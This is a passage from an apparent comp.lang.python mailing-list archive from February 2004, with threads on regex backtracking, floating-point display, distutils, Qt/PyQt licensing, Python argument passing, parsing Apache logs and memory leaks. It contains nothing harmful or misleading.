having to do with strange object behavior), etc.  I find it very useful 
for testing mostly.

Honestly, I've never used Python.h and embedding Python in C, so I can't 
comment on it.

What I have done quite often is to write full featured applications, 
both for the console and with a GUI.  Dropping a set of definitions 
(function, class, etc.) and calls into a .py file, then running it with 
'python script.py' is enough to get you on your way.  I've got no less 
than 100 scripts for various uses, from parsing and data compression 
(lzw-like and huffman) to image manipulation (image normalization, line 
detection, etc.), programming tools, etc.  Heck, Idle is a .py script, 
as are many thousands of other useful applications.  My personal 
favorite is PyPE (http://pype.sourceforge.net), but being the author, I 
am biased.

There are also various utilities that allow you to bundle your Python 
application/script/whatever into a binary, for those that don't want to 
install the Python runtime.

If you haven't started looking through the standard module library, you 
really should.  There are quite a few modules that will likely make 
programming with Python that much easier for you in the future.  As a 
quick suggestion, read about the sys, os, and optparse modules.  Most 
people forget to read about the first two and end up asking questions 
that get asked 3 times/week.  The first one is for some VERY useful 
per-system constants, and optparse will make your life of dealing with 
commandline arguments that much easier.

Good luck,
  - Josiah


From rdjdvd at inwind.it  Mon Feb 23 10:05:14 2004
From: rdjdvd at inwind.it (RDJ)
Date: 23 Feb 2004 07:05:14 -0800
Subject: The life of Python
Message-ID: <c88425e6.0402230705.48b59844@posting.google.com>

Film:

http://www.001abc.com/Television/thelifeofphython.html


From tim.one at comcast.net  Sun Feb  8 13:44:21 2004
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 8 Feb 2004 13:44:21 -0500
Subject: regex searching hangs
In-Reply-To: <ef08387c.0402080729.621632ca@posting.google.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCCECLINAB.tim.one@comcast.net>

[Fortepianissimo]
> Could someone explains why the following code hangs (Python 2.3.3)?

Yes, but it's not hung, and the answer is involved.  Jeffrey Friedl wrote a
book about it, "Mastering Regular Expressions" (O'Reilly).  Chapter 4 is
available (free) online, and is relevant:

    http://www.oreilly.com/catalog/regex/chapter/ch04.html

Python's regexp engine is what he calls "Traditional NFA" there.

> --- CODE STARTS ---
> import re
>
> p=re.compile(r'\S+(?:\.\S+)+\.com')
>
> t='......................................'
> p.search(t)
> --- CODE ENDS ---

Run this instead, and you should see that the failure to match takes time
exponential in the number of periods (add a period, and the time roughly
doubles):

import re
from time import clock as now

p = re.compile(r'\S+(?:\.\S+)+\.com')

for n in range(40):
    target = '.' * n
    start = now()
    p.search(target)
    finish = now()
    print "%2d" % n, finish - start

> From the syntax and semantics of regex, the entire t should be
> consumed by the pattern '\S+(?:\.\S+)+'

Right.

> and the search() call should return None.

Also right.

> Is search() doing a depth-first search and can't pulling
> itself out?

It's doing a backtracking search, and your nested looping is forcing it to
try an exponential number of possibilities that can't lead to an *overall*
match in the end.  Semantically, the nested loop

    (?:\.\S+)+

part matches every string of length >= 2 that starts with a period and
doesn't contain whitespace.  That may or may not be what you intended to
match, but, if it is, then

    \.\S+

is a much more efficent way to write that part.  It doesn't help either in
the original that \S also matches \., so (?:\.\S+)+ is highly ambiguous.  If
you didn't intend that the innermost \S could suck up periods too, then the
more precise rewrite of that part as (?:\.[^\s.]+)+ would help a lot on its
own.

> ...
> BTW, I don't think any regex matching should ever hang in any
> circumstances - correct me if I'm wrong:

It shouldn't hang, but it may take a very long time.

> is halting problem a problem here?

Not in theory, but in practice a match attempt that takes longer than the
age of the universe may be a minor annoyance <wink>.




From mwh at python.net  Mon Feb 23 07:57:31 2004
From: mwh at python.net (Michael Hudson)
Date: Mon, 23 Feb 2004 12:57:31 GMT
Subject: derivation: sick Python trick of the week
References: <mailman.177.1077495021.27104.python-list@python.org>
	<c1bobu$1g1p9e$1@ID-169208.news.uni-berlin.de>
Message-ID: <m3n07agdhh.fsf@pc150.maths.bris.ac.uk>

"Greg Ewing (using news.cis.dfn.de)" <wmwd2zz02 at sneakemail.com> writes:

> Yes, that's the main nuisance with this technique. I have
> a PEP idea floating around to make and/or/not overridable,
> for this very purpose. Hmmm... does that make me sick?-)

I'd say so.

Cheers,
mwh

-- 
    . <- the point                                your article -> .
    |------------------------- a long way ------------------------|
                                        -- Cristophe Rhodes, ucam.chat


From james.kew at btinternet.com  Sat Feb 28 18:18:30 2004
From: james.kew at btinternet.com (James Kew)
Date: Sat, 28 Feb 2004 23:18:30 -0000
Subject: detecting the operating system
References: <c1mtcj$ofv$1@news-int.gatech.edu>
	<mailman.253.1078007663.8594.python-list@python.org>
Message-ID: <c1r7i8$1m2nfp$1@ID-71831.news.uni-berlin.de>

"Michael" <mogmios at mlug.missouri.edu> wrote in message
news:mailman.253.1078007663.8594.python-list at python.org...
> Checking sys.platform is easy enough. I use it to figure out if I'm
> running on Linux or Windows. For Linux I take the users home directory
> to put files in. In Windows I check the registry to find out the
> location of My Documents and then save files there.

os.path.expanduser("~") ?

James





From peter at engcorp.com  Wed Feb 11 09:20:35 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 11 Feb 2004 09:20:35 -0500
Subject: package similar to XML::Simple
References: <bv80qq$kbg$1@sunnews.cern.ch>
	<mailman.904.1075287732.12720.python-list@python.org>
	<d116fbae.0402092332.22936b0@posting.google.com>
	<40290854.15BB5CF0@engcorp.com> <c0bc8v$ibu$01$1@news.t-online.com>
	<d116fbae.0402102244.53cab375@posting.google.com>
Message-ID: <402A3A32.32FD3ADE@engcorp.com>

Uche Ogbuji wrote:
> 
> I was even more taken aback to read that the PyRXP developers refused
> to make the simple fix needed for conformance.  

This is a very relevant data point that was missing in the discussion
until now.  

Given that situation, I'd agree that labelling PyRXP simply an "XML parser" 
without qualification is misleading and wrong.

-Peter


From pythonista_at_sbcglobal_dot_net at invalid.net  Sun Feb 15 15:24:32 2004
From: pythonista_at_sbcglobal_dot_net at invalid.net (Brian)
Date: Sun, 15 Feb 2004 20:24:32 GMT
Subject: Simple addition
In-Reply-To: <LWPXb.58968$n62.56888@twister.nyroc.rr.com>
References: <LWPXb.58968$n62.56888@twister.nyroc.rr.com>
Message-ID: <4AQXb.25652$646.5355@newssvr25.news.prodigy.com>

Mathieu Malaterre wrote:
> $python
>  >>464.73+279.78
> 744.50999999999999
> 
> weird isn't it ? I use python2.3.

Mathieu, you can find a full explanation of what you're seeing at the 
following documentation link: 
http://www.python.org/doc/current/tut/node15.html

 From that page:

"Note that this is in the very nature of binary floating-point: this is 
not a bug in Python, it is not a bug in your code either, and you'll see 
the same kind of thing in all languages that support your hardware's 
floating-point arithmetic (although some languages may not display the 
difference by default, or in all output modes).

Python's builtin str() function produces only 12 significant digits, and 
you may wish to use that instead. It's unusual for eval(str(x)) to 
reproduce x, but the output may be more pleasant to look at:


 >>> print str(0.1)
0.1

It's important to realize that this is, in a real sense, an illusion: 
the value in the machine is not exactly 1/10, you're simply rounding the 
display of the true machine value."


From sridharinfinity at yahoo.com  Sun Feb  1 23:51:37 2004
From: sridharinfinity at yahoo.com (Sridhar R)
Date: 1 Feb 2004 20:51:37 -0800
Subject: Deploying Python _Applications_
Message-ID: <930ba99a.0402012051.4ef9c3a5@posting.google.com>

I have no doubt regarding deploying python packages or modules.  There
is distutils doing the job fine.  But I am wondering how I will be
able to deploy my python _applications_.

My application (python) needs some sort of BUILD system, that has
features like autoconf ...

1. Installtion prefix contants '/usr/ or /usr/local'
2. Some constants set during build (like 'HAVE_GTK2' in autoconf)

I searched the distutils documentation and seems to be distutils can't
handle these.

Any thoughts?


From edvard+news at majakari.net  Wed Feb 18 09:39:46 2004
From: edvard+news at majakari.net (Edvard Majakari)
Date: Wed, 18 Feb 2004 16:39:46 +0200
Subject: Unit-testing single function with large number of different
 inputs
References: <87ptcdsyyt.fsf@titan.staselog.com>
	<c0v7bk$pjv$05$1@news.t-online.com>
Message-ID: <87oerwo3il.fsf@titan.staselog.com>

Peter Otten <__peter__ at web.de> writes:

Hm, one more question about this:
>
> import unittest, os
>
> # shared implementation
> class Base(unittest.TestCase):
>     def __init__(self, filename):
>         unittest.TestCase.__init__(self)
>         self.filename = filename
>
> # some pointless tests
> class Good1(Base):
>     def runTest(self):
>         self.assertEqual(self.filename, self.filename.lower())
>
> class Good2(Base):
>     def runTest(self):
>         self.assertEqual(self.filename.endswith(".py"), True)
>
> class Bad(Base):
>     def runTest(self):
>         self.assertEqual(self.filename.endswith(".pyc"), True)

now, running tests with the -v flag I don't see the neat docstrings I've
used everywhere, but class instance strings (which is not that neat).
Then again, it doesn't really matter, but still..

Doing

 # shared implementation
 class Base(unittest.TestCase):
     def __init__(self, filename):
         unittest.TestCase.__init__(self)
         self.filename = filename
>        self.runTest.__doc__ = "fiddling with file %s" self.filename

 # some pointless tests
 class Good1(Base):
     def runTest(self):
         self.assertEqual(self.filename, self.filename.lower())

doesn't work, because doc strings are read-only (which is good in general)

Now, it really doesn't matter a lot, I just thought it would be neater and
I'm also quite sure Python is able to do this, if I only knew how.

-- 
# Edvard Majakari		Software Engineer
# PGP PUBLIC KEY available    	Soli Deo Gloria!

$_ = '456476617264204d616a616b6172692c20612043687269737469616e20'; print
join('',map{chr hex}(split/(\w{2})/)),uc substr(crypt(60281449,'es'),2,4),"\n";


From virus.manager at st.com  Fri Feb  6 17:11:39 2004
From: virus.manager at st.com (virus.manager at st.com)
Date: Fri, 06 Feb 2004 22:11:39 -0000
Subject: Virus Alert
Message-ID: <20040206221139.945A3F395@zeta.dmz-eu.st.com>

The mail message (file: data.scr) you sent to <serg at amsppt.sty> contains a virus. (on zeta)



From tismer at stackless.com  Tue Feb 24 19:45:04 2004
From: tismer at stackless.com (Christian Tismer)
Date: Wed, 25 Feb 2004 01:45:04 +0100
Subject: xmlprclib/server not reusing connections
In-Reply-To: <tn5rg1-986.ln1@home.rogerbinns.com>
References: <spv8g1-fev.ln1@home.rogerbinns.com><mailman.6.1077573113.8594.python-list@python.org><nfgqg1-gh4.ln1@home.rogerbinns.com>	<mailman.24.1077596109.8594.python-list@python.org>
	<tn5rg1-986.ln1@home.rogerbinns.com>
Message-ID: <403BF010.2020409@stackless.com>

Roger Binns wrote:

>>You might have better luck with Twisted http://twistedmatrix.com/.
> 
> 
> I did look at twisted but really don't like it.  In particular I really
> don't like the event driven code, that has to add callbacks and
> deal with partial state when called.
> 
> That is certainly the right way to do things if you want to avoid
> using threads.  It is however complicated and convoluted.

True and false at the same time.
While it is internally the right thing to do (better to say, it
is what actually happens, internally), it is not the best way
to write it.

This is why I developed Stackless Python.
It behaves in a similar way, acting like many callbacks,
but you +write* your code in the most natural way possible.
In a way, Stackless takes all the clumsy state keeping stuff
away from the programmer and frees his mind to write simple
top-down programs with no callbacks.
This approach has even been tested with Zope. You can write
a simple loop that sends Web pages to the user, without leaving
the loop. Internally, of course it is left, the whole program is
pickled, and restored on the next request. But you write a single
script, no methods which have to seek for state, do something, and
encode state, again.

I'm thinking of a talk about Stackless on EuroPython 2004:
"Stackless Python and the Death of the Reactive Pattern". :-)

Note that Christopher Armstrong is working on
a Stackless Reactor for Twisted!

I think, when that thing is ready, it will give both Twisted
and Stackless a boost of popularity and usability.

ciao - chris
-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From foedisch at eva.mpg.de  Wed Feb 18 03:01:53 2004
From: foedisch at eva.mpg.de (=?ISO-8859-1?Q?Alexander_F=F6disch?=)
Date: Wed, 18 Feb 2004 09:01:53 +0100
Subject: Pick out ip-address
In-Reply-To: <20040217191618.GA29126@unpythonic.net>
References: <4030B54A.9010806@eva.mpg.de>
	<20040216130439.GA5895@unpythonic.net>
	<403255BF.4080406@eva.mpg.de>
	<20040217191618.GA29126@unpythonic.net>
Message-ID: <40331BF1.8050206@eva.mpg.de>

Jeff Epler schrieb:

>On Tue, Feb 17, 2004 at 06:56:15PM +0100, Alexander F?disch wrote:
>  
>
>>It doesn't work!
>>I think "LANG=""/sbin/ifconfig'+interface" and "LANG="" /sbin/ifconfig 
>>%s' % (interface,)" is the same.
>>    
>>
>
>It's the space between "" and /sbin/ifconfig that is important, as well
>as the space between "ifconfig" and "ippp0".  An example, from a terminal
>session:
>    $ LANG=""echo testing
>    bash: testing: command not found
>    $ LANG="" echo testing
>    testing
>maybe it still doesn't work because there's a problem other than the one
>I spotted.
>
>Jeff
>
>  
>
I think so there's another problem. But I don't know where...

-- 

**************************************************
Alexander F?disch
Max Planck Institute for Evolutionary Anthropology
Deutscher Platz 6
04103 Leipzig

Germany
************************************************** 




From nelson at monkey.org  Sun Feb 15 16:50:03 2004
From: nelson at monkey.org (Nelson Minar)
Date: Sun, 15 Feb 2004 21:50:03 GMT
Subject: Netscan and Python
References: <mailman.35.1076810936.31398.python-list@python.org>
Message-ID: <cpabro0ypv8.fsf@cabernet.nelson.monkey.org>

Paul Prescod <paul at prescod.net> writes:
> According to Netscan, comp.lang.python is the only comp.lang. group in
> the top 5 to experience positive growth in 2003.

Coincidentally, I just saw Marc Smith talk about Netscan at ETech:
  http://conferences.oreillynet.com/cs/et2004/view/e_sess/4797

The thing he said that caught my attention is that comp.* is slowly
diminishing over the years. He showed a graph that indicated
microsoft.* has just about surpassed comp.*, both in number of posts
and number of authors.

Another random thought - folks often look at the relative lack of
Python books vs. Perl books as a sign of Python's weakness. Isn't it
strength? Python is so simple and the online docs are so good I never
even thought about learning it from a book.



From jdhunter at ace.bsd.uchicago.edu  Mon Feb 16 21:22:38 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Mon, 16 Feb 2004 20:22:38 -0600
Subject: distutils install dir
In-Reply-To: <m2brny4lfs.fsf@mother.paradise.lost> (John Hunter's message of
	"Mon, 16 Feb 2004 18:08:23 -0600")
References: <m2brny4lfs.fsf@mother.paradise.lost>
Message-ID: <m2wu6mo369.fsf@mother.paradise.lost>

>>>>> "John" == John Hunter <jdhunter at ace.bsd.uchicago.edu> writes:

    John> What is the best way to get the target install dir from
    John> distutils when

It looks like distutils.sysconfig.get_python_lib is what I am looking
for

  >>> import distutils.sysconfig as ds
  >>> ds.get_python_lib()
  '/usr/local/lib/python2.3/site-packages'




From ken at perfect-image.com  Thu Feb  5 10:41:17 2004
From: ken at perfect-image.com (Ken Godee)
Date: Thu, 05 Feb 2004 08:41:17 -0700
Subject: Qt/PyQt license confusion
In-Reply-To: <30260531.0402040954.68209983@posting.google.com>
References: <30260531.0402040954.68209983@posting.google.com>
Message-ID: <4022641D.4040103@perfect-image.com>

simo wrote:
> 
> For the moment this is just for my own tinkering and utility apps, but
> I wouldn't mind being able to distribute them too - freeware/GPL or
> whatever, not commercially.
> 
> It seems there are numerous sources of a Windows license:
> 
> C++ GUI Programming with Qt 3 book (includes Qt 3.2 "book license",
> 32usd)
> 
> TheKompany's BlackAdder (comes with PyQt and Qt limited to Python
> license - not C++, "personal use", 80usd)
> 
> PyQt license from Riverbank (250usd only supports Qt commercial, not
> non-commercial or even evaluation!)
> 
> So it's looking like BlackAdder is the best choice, although I'm still
> not sure if that includes a PyQt license as BA is commercial, so is it
> stupid enough to not include a commercial PyQt license?! And if it's
> limited to "personal use" whatever that is, then surely it's not a
> commercial license of either tool?
> 

Yes, I aggree is confusing, here's how I understand (some of)it...

BlackAdder is best deal around,

personal version (win/linux), $80 includes both Qt/PyQt lic.
for personal use. Personal use means your free to use
for your own use. Can not distribute, commercially, or
use in a business setting, even for your own use.

Business/Commercial version (win/linux), $380? includes both Qt/PyQt 
commercial lic. per developer with rights to distribute.

Here's the confusing part....
If you package up any of the above....

Under windows personal, you can only give the code
to another user, friend etc., they would have to have
thier own Qt/PyQt personal lic. to run it on windows.

Under windows commercial, you could distribute, but...
it has to been done in a way that does not allow
user direct access to the underlying Qt/Pyqt base
code. So they could not use to create there own programs.

> I don't know what kinda of license comes with the book - if it's not
> commercial then PyQt won't support it anyway - maybe it's a kind of
> education license?
> 
Non-Commercial lic., PyQt is still deciding wether they
are going to release a win non-commercial version to coinside
with the new Trolltech non-commercial win release.
They did with the older Qt 2.3 win non-commerial.

I personally think people get to caught up in all this
and try to cover everything from tinkering to commercial
distribution before they even start programming.

It's free to tinker with on linux and distribute
code gpl'd.

Then if you want to tinker on windows, you
could probally still find the old Qt/PyQt win
non-commercial 2.3 version around or wait until
PyQt release a win non-commercial version to
go with the new Qt win non-commercial release
or pay $80 for BlackAdder.

If all that goes so well, you would like
to use/distribute programs written with
Qt/PyQt, $400 seems like a small investment.

I went through the same thing, going back
and forth with wxpy/pyqt, installed and have
used both. I'm staying in the PyQt camp and
have found very little use (none yet) for win
or commercial use. The little tool kit one
can put together is outstanding.....
Qt, Qt Assistant, Qt Designer,
PyQt, pyuic, eric3, etc......









From claird at lairds.com  Tue Feb 24 14:48:53 2004
From: claird at lairds.com (Cameron Laird)
Date: Tue, 24 Feb 2004 19:48:53 -0000
Subject: Memory Leak
References: <f3ff61d9.0402240659.742d2d2a@posting.google.com>
	<403BA63F.ACCB26CB@engcorp.com>
Message-ID: <103nal54itkrm5f@corp.supernews.com>

In article <403BA63F.ACCB26CB at engcorp.com>,
Peter Hansen  <peter at engcorp.com> wrote:
			.
			.
			.
>Memory leaks are extremely difficult to debug, perhaps more difficult 
>than any other problem except race conditions.
>
>Thankfully, real memory leaks are very rare.  I don't think you've
			.
		[LOTS more sound advice]
			.
			.
Mostly, I just want to repeat Peter's sound counsel.

There's a LOT to say about memory errors; in fact, I'm even
trying to introduce the subject to C and C++ programmers <URL:
http://informit.com/isapi/product_id~{51BA92A2-20C7-4142-8707-FA7140CE4275}/session_id~{549AF63E-92F6-4EC1-B6B7-6A9147DF259E}/content/index.asp >
I'll pull out a few points present in Peter's description that
I think summarize the right attitude:
1.  Look to yourself.  Until you have strong evidence
    to the contrary, assume that apparent memory pro-
    blems are under your control, and are NOT an 
    intrinsic fault of Python.
2.  The biggest return-on-investment you can reap is
    to upgrade your version.
3.  Next is to rationalize your own coding.
4.  Next is to inspect code for memory faults.  A 
    good developer can certify source, without re-
    course to external tools.  It's possible, even
    practical, to learn all the basic categories
    of memory error and be alert to their appear-
    ance.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From aa at bb.cc  Fri Feb 13 09:29:39 2004
From: aa at bb.cc (Ladvánszky Károly)
Date: Fri, 13 Feb 2004 14:29:39 GMT
Subject: Question: spawn and redirection
Message-ID: <cd738c650dfb5e3784c0a662fdc8c53e@news.meganetnews.com>

On Windows, what is the proper way to spawn an executable and redirect its
stdout and stderr.
Thanks for any help,

K?roly




From aahz at pythoncraft.com  Tue Feb 10 22:09:03 2004
From: aahz at pythoncraft.com (Aahz)
Date: 10 Feb 2004 22:09:03 -0500
Subject: PEP 327: Decimal Data Type
References: <mailman.1054.1075487007.12720.python-list@python.org>
	<bvtjb4$gic$1@panix2.panix.com>
	<qeq520pv7kbd1s3ojmn3idetjuljhtk5md@4ax.com>
	<ad052e5c.0402061738.bdddcaa@posting.google.com>
Message-ID: <c0c6cf$7dp$1@panix2.panix.com>

In article <ad052e5c.0402061738.bdddcaa at posting.google.com>,
Dan Bishop <danb_83 at yahoo.com> wrote:
>Stephen Horne <steve at ninereeds.fsnet.co.uk> wrote in message news:<qeq520pv7kbd1s3ojmn3idetjuljhtk5md at 4ax.com>...
>> On 5 Feb 2004 09:18:12 -0500, aahz at pythoncraft.com (Aahz) wrote:
>>>In article <ad052e5c.0401310101.1c5bd5aa at posting.google.com>,
>>>Dan Bishop <danb_83 at yahoo.com> wrote:
>>>>
>>>>For money, it means that I have *exactly* $1.80.  This is because
>>>>"dollars" are just a notational convention for large numbers of cents.
>>>> I can just as accuately say that have an (integer) 180 cents, and
>>>>indeed, that's exactly the way it would be stored in my financial
>>>>institution's database.  (I know because I used to work there.)  So
>>>>all you really need here is "int".  But I do agree with the idea of
>>>>having a class to hide the decimal/integer conversion from the user.
>>>
>>>Really.  What kind of financial institution was this?  They didn't need
>>>to deal with any form of fractional pennies?
>> 
>> Does it really matter if they did? They may not deal in whole pennies,
>> but I seriously doubt that they need infinite precision - integers
>> with a predefined scaling factor (ie fixed point arithmetic) will, I
>> suspect, handle those few jobs that counting in pennies can't.
>
>And you would be right.  For example, interest rates were always
>stored in thousandths of a percent.
>
>The only problem was that some of the third-party software we used
>made this scaling completely visible to the user.  Our employees would
>occasionally forget the scaling factor, and this resulted in mistakes
>like having one of our CD's pay 445% interest instead of 4.45%.

...and that's a good argument for having a built-in type that handles
the conversions automatically.  Another issue is the different kinds of
rounding.  All in all, there are many kinds of already-solved problems
that are taken care of by using the decimal float standard.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From mcfletch at rogers.com  Tue Feb 10 05:54:16 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Tue, 10 Feb 2004 05:54:16 -0500
Subject: Simple newbie question about parameters handling in functions
 (or	am I dump or what?)
In-Reply-To: <hqbh20d9k80eccav78bbsku8hciftnbiuq@4ax.com>
References: <hqbh20d9k80eccav78bbsku8hciftnbiuq@4ax.com>
Message-ID: <4028B858.3040406@rogers.com>

Niki Iv wrote:

>I am totaly new to Python, although I have quite strong developer
>background. Indeed I am evaluating Python to integrate it (Jython) in
>my Java apps... 
>Well this is my first Python day. I am tampering with functions. I
>read that parameters are passed by-value rather than by-reference. So
>function can change wathever parameters reffers to. My troube (well my
>presonal not understanding comes from this)
>  
>
Actually, your trouble comes from whoever described the Python's 
parameter-passing methodology in a way which is likely to confuse you.  
Better not to use incompatible terms than to stretch them to describe a 
different methodology.

Simply put, Python passes object references, and its names are just 
references to objects.  If you're a C/C++ person, Python objects are 
conceptually passed as PyObject pointers (with the same semantics in 
Jython, though not the same implementation).  When you pass a parameter 
into a function you're just binding a name (object reference) in the 
function to a given object.  When you re-bind that name within the 
function you're just pointing the name (object reference) at the other 
object, it has no effect on the original object (save reducing the 
number of references to it).

>Example 1.
>def ChangeList(ListToChange):
>	ListToChange[1] = "Line B"
>  
>
...

>So now function ChangeList.. is
>(1) def ChangeList(ListToChange):
>(2)	ListToChange[1] = "Line B"
>(3)	ListToChange[2] = "Line C"
>(4)	ListToChange = ["Line X","Line Y","Line Z"]
>  
>
Your last line is doing nothing useful.  It binds the name ListToChange 
(which is never referred to after this point) to a newly constructed 
list object.  This doesn't affect the original list passed into the 
function in any way.

>Result is the same (as it suppose to be..)
>["Line 1","Line 2","Line 3"]
>["Line 1","Line B","Line C"]
>
>
>But now... I am swaping line
>(1)def ChangeList(ListToChange):
>(2)	ListToChange[1] = "Line B"
>(3)	ListToChange = ["Line X","Line Y","Line Z"]
>(4)	ListToChange[2] = "Line C"
>  
>
Line 3 there is binding ListToChange to a new object, so line 4 is 
operating on that new list object, not the original object.  You don't 
return the new list object, so the last two lines are doing nothing.

>I have only swapped line 3 and 4.
>
>Result is unexpected
>["Line 1","Line 2","Line 3"]
>["Line 1","Line B","Line 3"]
>
>The last line in function is to change where ListToChange[2] reffers
>to.. but string is the same..
>Frankly I was expecting that ListToChange will change it's second
>(zero base) element... but it does not.
>Why?
>Excuse me if the question is stupid.
>  
>
Not stupid.  Just based on a poor description of how Python's argument 
passing works. Hope this one was somewhat more enlightening.

Have fun,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From peter at engcorp.com  Wed Feb 25 14:29:25 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 25 Feb 2004 14:29:25 -0500
Subject: Python scripts in IIS
References: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>
	<403A5840.CE02049@engcorp.com>
	<f0u_b.6405$aT1.4998@newsread1.news.pas.earthlink.net>
	<403A7103.7F1CE0D8@engcorp.com>
	<aHv_b.6560$aT1.3079@newsread1.news.pas.earthlink.net>
	<Xns949954A8E8DA6sdfexpertunecom@216.168.3.44>
	<6DJ_b.7904$aT1.2403@newsread1.news.pas.earthlink.net>
	<2c60a528.0402250300.17451bfe@posting.google.com>
	<Xns949A4A2BB5E01sdfexpertunecom@216.168.3.44>
	<403CCF0C.693FBAE2@engcorp.com>
	<Xns949A72C3E8FF3sdfexpertunecom@216.168.3.44>
Message-ID: <403CF795.5E48DBDF@engcorp.com>

Scott F wrote:
> 
> Peter Hansen <peter at engcorp.com> wrote in news:403CCF0C.693FBAE2
> @engcorp.com:
> >> Can you reference the documentation for the  -u  argument?
> >
> > "python -h" will show you.
> 
> Right for python, but not for IIS.

Wasn't the -u used as an option to Python in the example you were
asking about?

Andy had written this (re-posted here for reference):

> >  Note: you really want -
> >
> >    ...python.exe -u %s %s

Looks like a Python option to me, not an IIS one...

-Peter


From warlock at eskimo.com  Fri Feb 20 00:33:44 2004
From: warlock at eskimo.com (Jim Richardson)
Date: Thu, 19 Feb 2004 21:33:44 -0800
Subject: Parsing apache log files
Message-ID: <oqigg1-3nl.ln1@grendel.myth>


I am pulling apart some big apache logs (800-1000MB) for some analysis,
and stuffing it into a MySQL database. Most of it goes ok, despite my
meager coding abilities. But every so often I run across "borken" bits
of data, like user agent strings that include "'/\ and such, although
they are escaped by apache in writing the log, they break up my somewhat
clunky splits. 

A typical (good) line, looks like this


111.111.111.11 - - [16/Feb/2004:04:09:49 -0800] "GET /ads/redirectads/336x280redirect.htm HTTP/1.1" 304 - "http://www.foobarp.org/theme_detail.php?type=vs&cat=0&mid=27512" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

which I can split fine, by spliting on the " first, then splitting each
bit up on the appropriate thing. mostly spaces. But occasionaly I get
something like


11.111.11.111 - - [16/Feb/2004:10:35:12 -0800] "GET /ads/redirectads/468x60redirect.htm HTTP/1.1" 200 541 "http://11.11.111.11/adframe.php?n=ad1f311a&what=zone:56" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.20  [ru\"]" 

note the [ru\" at the end. 


I am looking for a way to strip out the IP, day, time, requested url,
referrer, bytes, status, and user agent, and what I have, though a bit
crufty, works 99.99% of the time, but then something like this shows up. 

I have a couple of approaches. Reject the bad entries, save them to a
file, then manually enter them, problem is, with 10 million entries, and
about 1 in 1000 being bad... 


Although as I write this, I think maybe I can use the \ to warn me, and
behave accordingly? hm, I'll have to try that. 

In the meantime, is there some obvious method, or module that I have
missed ? 
 

-- 
Jim Richardson     http://www.eskimo.com/~warlock
 Windows is the answer, but only if the question was
 'what is the intellectual equivalent of being a galley slave?' 
	--Larry Smith, in comp.os.linux.misc


From tmohr at s.netic.de  Sat Feb 28 13:17:09 2004
From: tmohr at s.netic.de (Torsten Mohr)
Date: Sat, 28 Feb 2004 19:17:09 +0100
Subject: example code to access some C++ classes in a DLL
Message-ID: <c1qlv5$58m$1@schleim.qwe.de>

Hi,

i have written a DLL that implements some C++ classes and
their methods.  Now i would like to make the classes and
their methods known to python.

Is there some example code available on how to do this?
I want to make some classes, their constructors and some
methods known to python.

I've read the python docu "Tutorial", "Distributing Python Modules",
"Extending and Embedding" and "Python/X API".
But none of them seems to tell me how i can interface to:


namespace abc {
  class Abc {
    Abc();
    ~Abc();

    int meth1(int abd, std::string s);
  };

  class Def {
    Def();
    ~Def();

    int meth1(long abd, char* g);
  }
}

Has anybody got some example code for the necessary wrapper to make
all the above known to python?


Thanks for any hints,
Torsten.




From http  Mon Feb  2 05:13:23 2004
From: http (Paul Rubin)
Date: 02 Feb 2004 02:13:23 -0800
Subject: Get number of iteration
References: <bvbbd7$9rv$01$1@news.t-online.com>
	<mailman.993.1075393615.12720.python-list@python.org>
	<pcpTb.1002$ih3.651@news.get2net.dk>
Message-ID: <7xbrohpz5o.fsf@ruckus.brouhaha.com>

J?rgen Cederberg <jorgencederberg at hotmail.com> writes:
> Just nitpicking... :), but I guess you ment:
> 
> def enumerate(seq):
>      return zip(range(len(seq)), seq)

I think you want:

def enumerate(seq):
  for i in xrange(len(seq)):
     yield (i, seq[i])


From http  Thu Feb  5 01:21:22 2004
From: http (Paul Rubin)
Date: 04 Feb 2004 22:21:22 -0800
Subject: Qt/PyQt license confusion
References: <30260531.0402040954.68209983@posting.google.com>
	<bvrn55$29m$1@news.service.uci.edu>
	<M8lUb.926$VP1.707923@newshog.newsread.com>
Message-ID: <7xu1262gil.fsf@ruckus.brouhaha.com>

Leif K-Brooks <eurleif at ecritters.biz> writes:
> > If you /use/ a piece of GPL'd software to create 'something else',
> > and the 'something else' gets distributed, you have used the GPL'd
> > software as a tool - and are /not required/ to license your
> > 'something else' with the GPL.
> 
> No, I'm pretty sure you would have to GPL your software then
> too. Isn't that the difference between the GPL and LGPL?

I think he's talking about a different situation than using GPL'd code
in your application.  I read it as "Editing your program with GNU
Emacs doesn't mean you then have to distribute the program under the GPL."


From lubowiecka at go2.pl  Fri Feb  6 11:48:40 2004
From: lubowiecka at go2.pl (Nazgul)
Date: Fri, 6 Feb 2004 17:48:40 +0100
Subject: self-extracting installators in Python?
References: <bvourc$d4r$1@atlantis.news.tpi.pl>
	<8089854e.0402040053.2c34d0d3@posting.google.com>
	<Xns9485A8296FB5Ccpl19ghumspamgourmet@62.153.159.134>
	<f6554b84.0402042247.5c0b1b34@posting.google.com>
	<Xns94868B5548957cpl19ghumspamgourmet@62.153.159.134>
Message-ID: <c00gfb$bsl$1@nemesis.news.tpi.pl>

 Thanks!

Best Regards

Sylwia




From bokr at oz.net  Fri Feb  6 13:45:06 2004
From: bokr at oz.net (Bengt Richter)
Date: 6 Feb 2004 18:45:06 GMT
